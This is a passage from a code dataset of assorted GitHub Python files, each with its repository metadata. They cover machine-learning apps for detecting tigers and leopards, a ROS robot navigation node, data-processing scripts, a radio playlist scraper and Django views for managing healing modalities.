time to end\n    resampling_rule = \"1H\"\n    col = f\"sampled_time_to_end({resampling_rule})\"\n    assert test_entrance_before_exit(df[\"outtime\"] - df[col], df[\"outtime\"])\n    assert test_time_before_death(df[\"intime\"], df[\"outtime\"] - df[col])\n\n    # Completeness of id columns\n    assert test_is_complete_ids(df, \"stay_id\", col, \"intime\", \"outtime\", \"time_to_end_min\", \"time_to_end_max\")\n\n    print(\"Vitals correctly computed! Safe to go ahead.\")","repo_name":"hrna-ox/camelot-icml","sub_path":"src/data_processing/MIMIC/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":4446,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"}
+{"seq_id":"74286971894","text":"#  from pathlib import Path\n#  filepath = Path(\"y2015d1_input\")\n\n\n#  with open(filepath, 'r') as input_file:\n#      for line in input_file:\n#          print(\"Floor #: \" + str(len(line.split('('))-len((line.split(')')))))\n\n\n# v1 Meh, somewhat ugly, and not efficient at all\n# with open('../inputs/y2015d1.txt') as f:\n#    line = f.read()\n#    print(\"Floor #: \" + str(len(line.split('('))-len((line.split(')')))))\n\n# v2 Most Efficient code\ncounter = 0\nfor c in open('../inputs/y2015d1.txt').read():\n    if c == '(':\n        counter += 1\n    elif c == ')':\n        counter -= 1\nprint(f\"Floor #: {counter}\")\n\n# v3 If you want a oneliner\n#print(\"Floor #: {}\".format(sum([1 if c == '(' else -1 for c in open('../inputs/y2015d1.txt').read()])))\n\n# v2 part 2\nchange = {'(': 1, ')': -1}\n\ncounter2 = 0\nposition = 1\nfor c in open('../inputs/y2015d1.txt').read():\n    if c in change:\n        counter2 += change[c]\n    if counter2 == -1:\n        print(\"Зашёль в подвал:\", position)\n        break\n    position += 1","repo_name":"bobs4462/aoc-2015","sub_path":"python/solvers/y2015d1.py","file_name":"y2015d1.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"35920853611","text":"from json import load as json_load\nfrom pathlib import Path\nfrom typing import Collection, Mapping\nfrom loguru import logger\nfrom yaml import safe_load as yaml_load\n\nfrom .ConditionalProbabilityTable import ConditionalProbabilityTable\nfrom .Exceptions import MissingVariable\nfrom .Graph import Graph\nfrom .Variables import Variable\n\n\nclass Model:\n\n    def __init__(self, graph: Graph, variables: Mapping[str, Variable], distribution: Mapping[Variable, ConditionalProbabilityTable]):\n        self._g = graph.copy()\n        self._v = {k: variables[k] for k in variables}\n        self._d = {k: distribution[k] for k in distribution}\n\n    def graph(self) -> Graph:\n        return self._g\n\n    def variable(self, key: str) -> Variable:\n        if key not in self._v:\n            logger.error(f\"unknown variable: {key}\")\n            raise MissingVariable(key)\n        return self._v[key]\n\n    def table(self, key: str) -> ConditionalProbabilityTable:\n        if key not in self._v:\n            logger.error(f\"unknown variable: {key}\")\n            raise MissingVariable(key)\n        return self._d[key]\n\n    def all_variables(self) -> Collection[Variable]:\n        return self._v.values()\n\n\ndef from_dict(data: dict) -> Model:\n    return parse_model(data)\n\n\ndef from_path(p: Path) -> Model:\n    if not p.exists() or not p.is_file():\n        raise FileNotFoundError\n\n    if p.suffix == \".json\":\n        return parse_model(json_load(p.read_text()))\n\n    elif p.suffix in [\".yml\", \".yaml\"]:\n        return parse_model(yaml_load(p.read_text()))\n\n    else:\n        raise Exception(f\"Unknown extension for {p}\")\n\ndef parse_model(data: dict) -> Model:\n\n    \"\"\"\n    variables: maps string name to the Variable object instantiated\n    outcomes: maps string name *and* corresponding Variable to a list of outcome values\n    tables: maps strings/Variables to corresponding ConditionalProbabilityTables\n    \"\"\"\n    variables = dict()\n    outcomes = dict()\n    tables = dict()\n\n    for name, detail in data[\"endogenous\"].items():\n\n        # Load the relevant data to construct a Variable\n        v_outcomes = detail[\"outcomes\"] if \"outcomes\" in detail else []\n        v_parents = detail[\"parents\"] if \"parents\" in detail else []\n\n        # Create a Variable object\n        variable = Variable(name, v_outcomes, v_parents)\n\n        # Lookup the object by its name\n        variables[name] = variable\n\n        # Store by both the Variable object as well as its name, for ease of access\n        outcomes[name] = v_outcomes\n        outcomes[variable] = v_outcomes\n\n        # Load in the table and construct a CPT\n        table = detail[\"table\"]\n        cpt = ConditionalProbabilityTable(variable, v_parents, table)\n\n        # Map the name/variable to the table\n        tables[name] = cpt\n        tables[variable] = cpt\n\n    v = set(variables.keys())\n    e = set()\n\n    for child in variables.keys():\n        e.update(list(map(lambda parent: (parent, child), variables[child].parents)))\n\n    if \"exogenous\" in data:\n        for variable, children in data[\"exogenous\"].items():\n            v.add(variable)\n            for c in children:\n                v.add(c)\n                e.add((variable, c))\n\n    graph = Graph(v, e)\n\n    return Model(graph, variables, tables)\n","repo_name":"bradendubois/do-calculus","sub_path":"do/core/Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":3241,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"21"}
+{"seq_id":"3014729210","text":"import json\nfrom keras.preprocessing.text import text_to_word_sequence\nfrom statistics import mean, median, mode\n\nwith open('C:/Users/TzeMin/Documents/capstone/BT4103CapstoneProject/Scraping/smsCorpus_en_20150309_all.json') as f:\n    corpus = json.load(f)\n\n    users = set()\n    texts = []\n    for text in corpus['smsCorpus']['message']:\n        users.add(text['source']['userProfile']['userID']['$'])\n        texts.append(text_to_word_sequence(str(text['text']['$'])))\n    \n    texts = texts[:1000]\n    lengths = [len(text) for text in texts]\n    sequence_length = mode(lengths)\n\n    print(\"Number of Users:\", len(users))\n    print(\"Number of Texts:\", len(corpus['smsCorpus']['message']))\n    print(\"Sequence Length: \", sequence_length)\n    print(texts)","repo_name":"VibhuKrovvidi/BT4103CapstoneProject","sub_path":"code/singlishcorpus.py","file_name":"singlishcorpus.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"40841958265","text":"import scipy.io\nimport os\nimport cv2\n\n\ndef get_annotations():\n    csv_path = './dataset/airplanes.csv'\n    annotations_path = \"./Annotations/Airplanes_Side_2\"\n    images_path = './dataset/images'\n\n    allfiles = os.listdir(annotations_path)\n\n    lst_annots = []\n    for file in allfiles:\n        # if file == 'annotation_0002.mat':\n        mat = scipy.io.loadmat(os.path.join(annotations_path, file))\n\n        print(mat['box_coord'][0])\n\n        (y1, y2, x1, x2) = mat['box_coord'][0]\n\n        imagename = file.replace('annotation', 'image')\n        imagename = imagename.replace('.mat', '.jpg')\n\n        img = cv2.imread(os.path.join(images_path, imagename))\n\n        # color = (255, 0, 0)\n        # thickness = 1\n        # cv2.rectangle(img, (x1, y1), (x2, y2), color, thickness)\n        #\n        # cv2.imshow('Image', img)\n        # cv2.waitKey(0)\n        str_coords = ','.join(str(ele) for ele in (x1, y1, x2, y2))\n        lst_annots.append(imagename + ',' + str_coords)\n\n    writeannotations = open(csv_path, \"w+\")\n    writeannotations.write('\\n'.join(lst_annots))\n    writeannotations.close()\n\n\n# Press the green button in the gutter to run the script.\nif __name__ == '__main__':\n    get_annotations()\n\n# See PyCharm help at https://www.jetbrains.com/help/pycharm/\n","repo_name":"nrajmec/DataScience_Naveen","sub_path":"ComputerVision/SingleObjectDetection_CALTECH-101/getannotations.py","file_name":"getannotations.py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"14364974220","text":"from turtle import Turtle\nfrom turtle import Screen\nfrom random import choice\ncolors = ['crimson', 'spring green', 'blue', 'orange', 'purple', 'yellow', 'dark violet', 'cyan', 'red', 'green']\nturtle = Turtle()\ndef draw_shape(side_num):\n    angle = 360 / side_num\n    for num in range(side_num):\n        turtle.right(angle)\n        turtle.forward(100)\n\nfor side in range(3, 11):\n    turtle.color(choice(colors))\n    draw_shape(side)\n\n\nscreen = Screen()\nscreen.exitonclick()\n","repo_name":"twbm/Git-Learning-Thingy","sub_path":"my-Art_geneartor/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"43719219931","text":"#!/usr/bin/python3\n\"\"\"\nModule Name: 7-error_code.py\nDescription: Sends a request to a URL and displays the body of the response\n             decoded in `utf-8`\n\"\"\"\nimport sys\nimport requests\n\nif __name__ == '__main__':\n    res = requests.get(sys.argv[1])\n    if res.status_code >= 400:\n        print('Error code:', res.status_code)\n    else:\n        print(res.text)\n","repo_name":"Fawazabdganiyu/alx-higher_level_programming","sub_path":"0x11-python-network_1/7-error_code.py","file_name":"7-error_code.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"3282419010","text":"import streamlit as st\r\nimport pandas as pd\r\nimport cv2\r\nimport tempfile\r\nimport numpy as np\r\nimport onnxruntime as ort\r\nfrom PIL import Image\r\nfrom detectron2 import model_zoo\r\nfrom detectron2.engine import DefaultPredictor\r\nfrom detectron2.utils.visualizer import ColorMode\r\nfrom detectron2.utils.visualizer import Visualizer\r\nfrom detectron2.data.catalog import Metadata\r\nfrom detectron2.config import get_cfg\r\nfrom torchvision import  transforms\r\nimport torch\r\nimport os\r\nfrom model import img_CNN, img_siamese\r\n\r\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\r\n\r\ncfg = get_cfg()\r\ncfg.merge_from_file(model_zoo.get_config_file(\"COCO-Detection/faster_rcnn_R_101_FPN_3x.yaml\")) #Get the basic model configuration from the model zoo \r\ncfg.DATALOADER.NUM_WORKERS = 6\r\ncfg.MODEL.ROI_HEADS.NUM_CLASSES = 2\r\ncfg.MODEL.ROI_HEADS.SCORE_THRESH_TEST = 0.75\r\ncfg.MODEL.WEIGHTS = \"model_final.pth\"\r\nmy_metadata = Metadata(name= \"cats_train\")\r\ncfg.MODEL.DEVICE = \"cuda\" if torch.cuda.is_available() else \"cpu\"\r\nmy_metadata.set(thing_classes = ['Tiger', 'Leopard'])# Let training initialize from model zoo\r\npredictor = DefaultPredictor(cfg)\r\n\r\ndata_transforms ={'c': transforms.Compose([\r\n        transforms.Resize((128, 128)),\r\n        transforms.ToTensor(),\r\n        transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\r\n    ]),\r\n    's': transforms.Compose([\r\n        transforms.Resize((256,256)),\r\n        transforms.ToTensor(),\r\n        transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\r\n    ])}            \r\n\r\nort_session = ort.InferenceSession(\"best_model.onnx\")\r\nlabels = ['Дальневосточный леопард', \"Тигр\", 'Никто']\r\n\r\nsiamese_model = torch.load('siamese.pth', map_location=device)\r\netalon = pd.read_csv('princess_data.csv').sample(10)\r\netal_image = []\r\nfor i in etalon.id.values:\r\n    img = Image.open('siamese/Princess/'+i).convert('RGB')\r\n    img = data_transforms['s'](img)\r\n    etal_image.append(img.unsqueeze(0))\r\netal_image = torch.cat(etal_image, 0).to(device)\r\n\r\n\r\nst.set_page_config(\r\n   page_title=\"Ex-stream-ly Cool App\",\r\n   page_icon=\"🧊\",\r\n   layout=\"wide\",\r\n   initial_sidebar_state=\"expanded\",\r\n)\r\nmax_width_str = f\"max-width: 1920px;\"\r\nst.markdown(\r\n\tf\"\"\"\r\n\t\t<style>\r\n\t\t\t.reportview-container .main .block-container {{{max_width_str}}}\r\n\t\t</style>    \r\n\t\"\"\",\r\n\tunsafe_allow_html=True\r\n)\r\n\r\n\r\ndef classification_photo(filesImage):\r\n    my_bar = st.progress(0)\r\n    tmp = 100//len(filesImage)\r\n    for percent_complete, file in enumerate(filesImage):\r\n        file_bytes = np.asarray(bytearray(file.read()), dtype=np.uint8)\r\n        img = cv2.imdecode(file_bytes, 1)\r\n        img = Image.fromarray(img[:,:,::-1]).convert(\"RGB\")\r\n        img = data_transforms['c'](img).unsqueeze(0).numpy()\r\n        outputs = ort_session.run(\r\n            None,\r\n            {'input.1': img},\r\n        )\r\n        cl = labels[np.argmax(outputs[0])]\r\n        st.markdown(cl)\r\n        my_bar.progress(int((percent_complete+1) * tmp))\r\n\r\ndef detect_princess(fileImage):\r\n    file_bytes = np.asarray(bytearray(fileImage.read()), dtype=np.uint8)\r\n    img = cv2.imdecode(file_bytes, 1)\r\n    outputs = predictor(img)\r\n    preds=outputs[\"instances\"].to(\"cpu\")\r\n    classes = preds.pred_classes.numpy()\r\n    boxes = preds.pred_boxes.tensor.detach().cpu().numpy().astype(int)\r\n    for i in range(len(classes)):\r\n        if classes[i]==0:\r\n            img = img[boxes[i][1]:boxes[i][3],boxes[i][0]:boxes[i][2],::-1]\r\n            img = data_transforms['s'](Image.fromarray(img))\r\n            test_image = torch.cat([img.unsqueeze(0) for _ in range(10)], 0).to(device)\r\n            pred = siamese_model(etal_image,test_image)\r\n            result = np.mean(torch.argmax(pred, dim=1).detach().cpu().numpy())\r\n            st.markdown(\"С вероятностью \"+str(int(result*100))+\"% Это принцесса\")\r\n        else:\r\n            st.markdown(\"принцессы нет\")\r\n        return\r\n    st.markdown(\"Животных нет\")\r\n            \r\n    \r\n    \r\n\r\ndef detect_on_photo(filesImage):\r\n    my_bar = st.progress(0)\r\n    tmp = 100//len(filesImage)\r\n    for percent_complete, file in enumerate(filesImage):\r\n        file_bytes = np.asarray(bytearray(file.read()), dtype=np.uint8)\r\n        img = cv2.imdecode(file_bytes, 1)\r\n        outputs = predictor(img)\r\n        v = Visualizer(img[:, :, ::-1],\r\n                   metadata=my_metadata, \r\n                   scale=1,\r\n                   instance_mode=ColorMode.IMAGE)\r\n        v = v.draw_instance_predictions(outputs[\"instances\"].to(\"cpu\"))\r\n        st.image(v.get_image())\r\n        my_bar.progress(int((percent_complete+1) * tmp))\r\n        \r\ndef detect_on_video(fileVideo):\r\n    tfile = tempfile.NamedTemporaryFile(delete=False) \r\n    tfile.write(fileVideo.read())\r\n    video = cv2.VideoCapture(tfile.name)\r\n    # stframe = st.empty()\r\n    #polling\r\n    width = int(video.get(cv2.CAP_PROP_FRAME_WIDTH))\r\n    height = int(video.get(cv2.CAP_PROP_FRAME_HEIGHT))\r\n    frames_per_second = video.get(cv2.CAP_PROP_FPS)\r\n    result = cv2.VideoWriter('output.mp4',\r\n                         cv2.VideoWriter_fourcc(*\"mp4v\"),\r\n                         fps=float(frames_per_second), frameSize=(width, height) ,isColor=True)\r\n    while True:\r\n        hasFrame, frame = video.read()\r\n        if not hasFrame:\r\n            break\r\n        outputs = predictor(frame)\r\n        v = Visualizer(frame[:, :, ::-1],\r\n                   metadata=my_metadata, \r\n                   scale=1,\r\n                   instance_mode=ColorMode.IMAGE)\r\n        v = v.draw_instance_predictions(outputs[\"instances\"].to(\"cpu\"))\r\n        result.write(v.get_image())\r\n    video.release()\r\n    result.release()\r\n    with open(\"output.mp4\", \"rb\") as file:\r\n         btn = st.download_button(\r\n                 label=\"Download video\",\r\n                 data=file,\r\n                 file_name=\"output.mp4\",\r\n                 mime=\"video/mp4\"\r\n               )\r\n    if btn:\r\n        st.write('Thanks for downloading!')\r\n        # my_bar.progress(int((percent_complete+1) * tmp))\r\n\r\nst.title(\"Демонстрация распознавания больших кошечек\")\r\nfilesImage = st.file_uploader(label = \"Детекция на фото\", type=['png','jpg'], accept_multiple_files=True)\r\nclassImage = st.file_uploader(label = \"Классификация фото\", type=['png','jpg'], accept_multiple_files=True)\r\nfileVideo = st.file_uploader(label = \"Детекция на видео\", type='mp4', accept_multiple_files=False)\r\nPrincess = st.file_uploader(label = \"Определение принцессы\", type=['png','jpg'], accept_multiple_files=False)\r\n\r\n\r\nif filesImage:\r\n    detect_on_photo(filesImage)\r\nif classImage:\r\n    classification_photo(classImage)\r\nif fileVideo:\r\n    detect_on_video(fileVideo)\r\nif Princess:\r\n    detect_princess(Princess)\r\n# with st.spinner('Wait for it...'):\r\n#     time.sleep(5)\r\n# st.success('Done!')\r\n","repo_name":"Demontego/Tigers_HACK_AI","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"42025238334","text":"#!/usr/bin/env python\nfrom __future__ import print_function\nimport roslib\nroslib.load_manifest('robot_navegation')\nimport sys\nimport rospy\nimport cv2\nfrom sensor_msgs.msg import Image\nfrom cv_bridge import CvBridge, CvBridgeError\nfrom geometry_msgs.msg import Twist\nimport numpy as np\nfrom keras.applications.mobilenet import MobileNet\nfrom keras.models import Model\nfrom keras.layers import Dense, Input\nfrom keras import backend as K\n\n\nimage_size = 224\ninput_shape = (image_size, image_size, 3)\ninput_tensor = Input(shape=input_shape)\nK.set_image_data_format('channels_last')\n\ndef cnn_model(input_shape):\n    mobilenet_model = MobileNet(input_shape=input_shape,\n                                input_tensor=input_tensor,\n                                pooling='avg',\n                                include_top=False,\n                                weights=None)\n    x = mobilenet_model.output\n    prediction = Dense(1, activation=\"sigmoid\")(x)\n    \n    model = Model(inputs=input_tensor, outputs=prediction)\n\n    return model\n\nmodel = cnn_model(input_shape)\n\nclass NavigationNode:\n\n  def __init__(self):\n\n    self.bridge = CvBridge()\n    self.image_sub = rospy.Subscriber(\"/robot1/camera/rgb/image_raw\",Image, self.imageCallback)\n    self.cmd_vel = rospy.Publisher('/robot1/mobile_base/commands/velocity', Twist, queue_size=1)\n    self.lastImage = None\n    self.process = False\n\n  def imageCallback(self,data):\n    try:\n      cv_image = cv2.resize(self.bridge.imgmsg_to_cv2(data, \"rgb8\"), (image_size, image_size), interpolation = cv2.INTER_CUBIC)\n      self.lastImage = cv_image\n      self.process = True;\n    except CvBridgeError as e:\n      print(e)\n  def run(self):\n\n    move_cmd = Twist()\n    move_cmd.linear.x = 0\n    move_cmd.angular.z = 0\n    while True:\n      if self.process:\n        ImageList_ = []\n        ImageList_.append(np.asarray(self.lastImage).astype('float32')/255)\n        prediction = model.predict(np.asarray(ImageList_).reshape(1, image_size, image_size, 3))\n        cv2.imshow(\"Image window\", self.lastImage)\n        cv2.waitKey(3)\n        move_cmd.linear.x = move_cmd.linear.y = move_cmd.angular.z = 0;   \n\n        if (prediction[0][0]*100) < 50:\n          move_cmd.angular.z += 0.4\n          move_cmd.linear.x += 0.3\n        else:\n          move_cmd.angular.z += -0.4\n          move_cmd.linear.x += 0.3\n\n      self.cmd_vel.publish(move_cmd)\n    cv2.destroyAllWindows()\n\ndef main(args):\n  model.compile(loss='mse', optimizer='adam', metrics=['accuracy'])\n  model.load_weights('./AN.hdf5')\n\n  ic = NavigationNode()\n  rospy.init_node('navigationRobot', anonymous=True)\n  ic.run()\n  \n\nif __name__ == '__main__':\n\tmain(sys.argv)","repo_name":"jgm139/var1718P1","sub_path":"catkin_ws/src/robot_navegation/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"2565466757","text":"import bs4\nimport requests\nfrom .package_logging import logger\n\n\ndef get_zlote_przeboje_day() -> list[tuple[str, str]]:\n    \"\"\"\n     Pobierz informację o piosenkach granych w ciągu ostatniego dnia w Radiu Złote Przeboje\n    \"\"\"\n\n    logger.info(\"Getting songs played yestarday in Zlote Przeboje radio\")\n\n    przeboje_html = requests.get(\"https://audycje.zloteprzeboje.tuba.pl/co-gralismy#TRNavSST\")\n    przeboje_html.raise_for_status()\n\n    przeboje_soup = bs4.BeautifulSoup(przeboje_html.content, \"html.parser\")\n\n    przeboje_songs_day = []\n\n    przeboje_songs = przeboje_soup.select(f'.gra-ramowka-row')\n\n    for song in przeboje_songs:\n        artist = song.select('.gra-ramowka-row__primary-text')[0].get_text()\n        title = song.select('.gra-ramowka__row__secondary-text')[0].get_text()\n\n        if artist.find('&') != -1:\n            artist = artist[:(artist.find('&')-1)]\n\n        przeboje_songs_day.append((artist, title))\n\n    return przeboje_songs_day\n","repo_name":"henski-pl/radio_tops_spotify","sub_path":"radio_tops/collector_zlote_przeboje.py","file_name":"collector_zlote_przeboje.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"26886200692","text":"import json\n\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.urlresolvers import reverse\nfrom django.conf import settings\nfrom django.contrib.auth.decorators import permission_required\nfrom django.http import HttpResponse, Http404\nfrom django.shortcuts import render_to_response, get_object_or_404, redirect\nfrom django.template import loader\nfrom django.template.context import RequestContext, Context\nfrom django.template.loader import render_to_string\n\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\nfrom account_hs.authentication import user_authenticated\nfrom account_hs.views import (UserAuthenticated, UserLoggedIn,\n\tEmailPasswordAuthentication)\nfrom dashboard.services.mail_sender import MailSender\nfrom healers.models import Healer, Zipcode, check_wellness_center_provider_perm\nfrom healers.views import get_healers_geosearch\nfrom healers.utils import get_username, get_healer\nfrom healers.forms import HealerSearchForm\n\nfrom modality.models import ModalityCategory, Modality, save_modality_menu\nfrom modality.forms import ModalityForm\n\n\nclass Update(UserAuthenticated):\n\tdef post(self, request, modality_id, format=None):\n\t\tif request.user.is_superuser:\n\t\t\ttitle = request.POST['title']\n\t\t\tdescription = request.POST['description']\n\t\t\tvisible = json.loads(request.POST['visible'])\n\n\t\t\tif modality_id:\n\t\t\t\tmodality = Modality.objects.get(pk=modality_id)\n\t\t\telse:\n\t\t\t\tmodality = Modality()\n\n\t\t\tmodality.title = title\n\t\t\tmodality.description = description\n\t\t\tmodality.visible = visible\n\t\t\tmodality.save()\n\n\t\treturn Response()\n\n\nclass AddCategory(UserAuthenticated):\n\tdef post(self, request, modality_id, category_id, format=None):\n\t\tif request.user.is_superuser:\n\t\t\tmodality = Modality.objects.get(pk=modality_id)\n\t\t\tcategory = ModalityCategory.objects.get(pk=category_id)\n\t\t\tmodality.category.add(category)\n\t\treturn Response()\n\n\nclass RemoveCategory(UserAuthenticated):\n\tdef post(self, request, modality_id, category_id, format=None):\n\t\tif request.user.is_superuser:\n\t\t\tmodality = Modality.objects.get(pk=modality_id)\n\t\t\tcategory = ModalityCategory.objects.get(pk=category_id)\n\t\t\tmodality.category.remove(category)\n\t\treturn Response()\n\n\nclass GetModalities(APIView):\n\tdef get(self, request, category_id, format=None):\n\t\tif category_id == \"all\":\n\t\t\tmodalities = Modality.objects_approved.filter(visible=True).order_by(\"title\")\n\t\telif category_id == \"other\":\n\t\t\tcategories = ModalityCategory.objects.all()\n\t\t\tmodalities = Modality.objects_approved.filter(visible=True).exclude(category__in=categories).order_by(\"title\")\n\t\telse:\n\t\t\tmodalities = Modality.objects_approved.filter(visible=True).filter(category=category_id).order_by(\"title\")\n\t\thtml = render_to_string(\"modality/modality_list.html\", {\"modalities\": modalities})\n\t\treturn Response(html)\n\n\nclass AddHealer(EmailPasswordAuthentication):\n\tdef post(self, request, modality_id, format=None):\n\t\tself.get_initial_data()\n\t\tusername = request.POST.get('username', None)\n\t\ttry:\n\t\t\tif self.user.username != username:\n\t\t\t\twcenter, healer = check_wellness_center_provider_perm(self.user, username)\n\t\t\t\tif not healer:\n\t\t\t\t\traise Healer.DoesNotExist\n\t\t\telse:\n\t\t\t\thealer = Healer.objects.get(user=self.user)\n\t\texcept Healer.DoesNotExist:\n\t\t\treturn Response()\n\n\t\ttry:\n\t\t\tmodality = Modality.objects_approved.get_with_unapproved(healer).get(pk=modality_id)\n\t\texcept Modality.DoesNotExist:\n\t\t\treturn Response()\n\n\t\ttry:\n\t\t\tmodality.healer.get(pk=healer.id)\n\t\t\treturn Response()\n\t\texcept Healer.DoesNotExist:\n\t\t\tpass\n\n\t\tif healer.modality_set.count() < settings.MAX_MODALITIES_PER_HEALER:\n\t\t\tmodality.healer.add(healer)\n\t\telse:\n\t\t\treturn Response()\n\n\t\tif healer.default_modality == '':\n\t\t\thealer.default_modality = unicode(modality)\n\t\t\thealer.save()\n\n\t\ttry:\n\t\t\tsave_modality_menu()\n\t\texcept Exception:\n\t\t\tpass\n\n\t\treturn Response({\n\t\t\t'id': modality_id,\n\t\t\t'title': modality.title\n\t\t})\n\n\nclass RemoveHealer(EmailPasswordAuthentication):\n\tdef post(self, request, modality_id, format=None):\n\t\tusername = request.POST['username']\n\t\tself.get_initial_data()\n\n\t\tif self.user.username == username:\n\t\t\ttry:\n\t\t\t\thealer = Healer.objects.get(user__username__iexact=username)\n\t\t\texcept Healer.DoesNotExist:\n\t\t\t\treturn Response()\n\n\t\telse:\n\t\t\twcenter, healer = check_wellness_center_provider_perm(self.user, username)\n\t\t\tif not healer:\n\t\t\t\treturn Response()\n\n\t\ttry:\n\t\t\tmodality = Modality.objects_approved.get_with_unapproved(healer).get(pk=modality_id)\n\t\texcept Modality.DoesNotExist:\n\t\t\treturn Response()\n\n\t\tmodality.healer.remove(healer)\n\n\t\tif healer.modality_set.count() == 0:\n\t\t\thealer.default_modality = settings.DEFAULT_MODALITY_TEXT\n\t\t\thealer.save()\n\n\t\ttry:\n\t\t\tsave_modality_menu()\n\t\texcept Exception:\n\t\t\tpass\n\n\t\treturn Response({'id': modality_id})\n\n\n@login_required\ndef modality_add(request, username=None, template_name=\"modality/modality_form.html\"):\n\tusername = get_username(request, username)\n\thealer = get_healer(request.user, username)\n\tif not 'modality_back_url' in request.session:\n\t\trequest.session['modality_back_url'] = request.META.get('HTTP_REFERER', reverse('healer_edit'))\n\tspecialty_name = None\n\tform = ModalityForm(request.POST or None, initial={'title': request.GET.get('title', '')}, added_by=healer)\n\tmodality_back_url = None\n\tif form.is_valid():\n\t\tmodality = form.save()\n\t\tspecialty_name = modality.title\n\t\tmodality_back_url = request.session.pop('modality_back_url')\n\n\treturn render_to_response(template_name, {\n\t\t\"form\": form,\n\t\t\"specialty_name\": specialty_name,\n\t\t\"back_url\": modality_back_url\n\t}, context_instance=RequestContext(request))\n\n\ndef modality_list(request, template_name=\"modality/modalities.html\"):\n\tcategories = ModalityCategory.objects.all().order_by(\"title\")\n\n\tif request.user.is_superuser:\n\t\tmodalities = Modality.objects_approved.all().order_by(\"title\").defer(\"description\")\n\telse:\n\t\tmodalities = Modality.objects_approved.filter(visible=True).order_by(\"title\").defer(\"description\")\n\n\tunapproved_modalities, rejected_modalities = None, None\n\tif request.user.is_superuser:\n\t\tunapproved_modalities = Modality.objects.filter(\n\t\t\tapproved=False, rejected=False, visible=True).order_by('-id')\n\t\trejected_modalities = Modality.objects.filter(\n\t\t\trejected=True, visible=True).order_by('-id')\n\n\treturn render_to_response(template_name, {\n\t\t'base_template': 'base_floatbox.html' if 'fb' in request.GET else 'base_new_box.html',\n\t\t'categories': categories,\n\t\t'modalities': modalities,\n\t\t'unapproved_modalities': unapproved_modalities,\n\t\t'rejected_modalities': rejected_modalities,\n\t}, context_instance=RequestContext(request))\n\n\ndef modality_description(request, modality_id, full_page=False):\n\ttry:\n\t\thealer = None\n\t\tif modality_id:\n\t\t\tif request.user.is_superuser:\n\t\t\t\tmodality = Modality.objects\n\t\t\t\thealer = get_object_or_404(Healer, user__username=request.user.username)\n\t\t\telse:\n\t\t\t\tmodality = Modality.objects_approved\n\n\t\t\tmodality = modality.get(pk=modality_id)\n\n\t\telse:\n\t\t\tmodality = None\n\n\t\tproviders = None\n\t\tif modality is not None:\n\t\t\tproviders = get_healers_geosearch(request,\n\t\t\t\tmodality_id=modality)[0][:settings.MAX_PROVIDERS_ON_SPECIALITY_PAGE]\n\t\tinitial_data = {}\n\t\tsession_data = request.session.get('search_state', None)\n\t\tif session_data is not None:\n\t\t\tinitial_data.update(session_data)\n\t\tno_city = not request.session.get('point', False)\n\t\tinitial_data['modality_id'] = modality_id\n\t\tform = HealerSearchForm(initial=initial_data)\n\n\t\tctx = {\n\t\t\t\"modality\": modality,\n\t\t\t\"user\": request.user,\n\t\t\t\"healer\": healer,\n\t\t\t'full_page': full_page,\n\t\t\t\"base_template\": 'base_common.html' if full_page else 'base_blank.html',\n\t\t\t'providers': providers,\n\t\t\t'form': form,\n\t\t\t'no_city': no_city,\n\t\t}\n\n\t\tif request.user.is_superuser:\n\t\t#\t\t\talready = ModalityCategory.objects.filter(modality=modality)\n\t\t#\t\t\tc['categories'] = ModalityCategory.objects.exclude(pk__in=already)\n\t\t\tctx['categories'] = ModalityCategory.objects.filter(modality=modality)\n\t\t\tctx['category_options'] = ModalityCategory.objects.exclude(modality=modality)\n\n\texcept Modality.DoesNotExist:\n\t\traise Http404\n\n\treturn render_to_response(\"modality/modality.html\", ctx, context_instance=RequestContext(request))\n\n\ndef modality_providers(request, modality_id, zipcode=None):\n\n\tif zipcode:\n\t\ttry:\n\t\t\tzipcode_object = Zipcode.objects.get(code=zipcode)\n\t\texcept Zipcode.DoesNotExist:\n\t\t\treturn HttpResponse(\"Could not find Zipcode \" + zipcode)\n\n\t\trequest.session['point'] = zipcode_object.point\n\t\tzipcode = zipcode_object.code\n\t\trequest.session['zipcode'] = zipcode\n\telse:\n\t\tzipcode = request.session.get('zipcode', None)\n\n\tif not zipcode:\n\t\tt = loader.get_template(\"modality/modality_get_zipcode.html\")\n\t\treturn HttpResponse(t.render(Context({\"modality_id\": modality_id})))\n\n\tNUM_PROVIDERS = 20\n\n\ttry:\n\t\tmodality = Modality.objects_approved.get(pk=modality_id)\n\texcept Modality.DoesNotExist:\n\t\treturn HttpResponse(\"Could not find Modality \" + modality_id)\n\n\tproviders, more = get_healers_geosearch(request, NUM_PROVIDERS, modality_id=modality_id)\n\tprovider_count = len(providers)\n\n#\t\t\tif provider_count < NUM_PROVIDERS:\n#\t\t\t\tproviders = set(list(providers) + 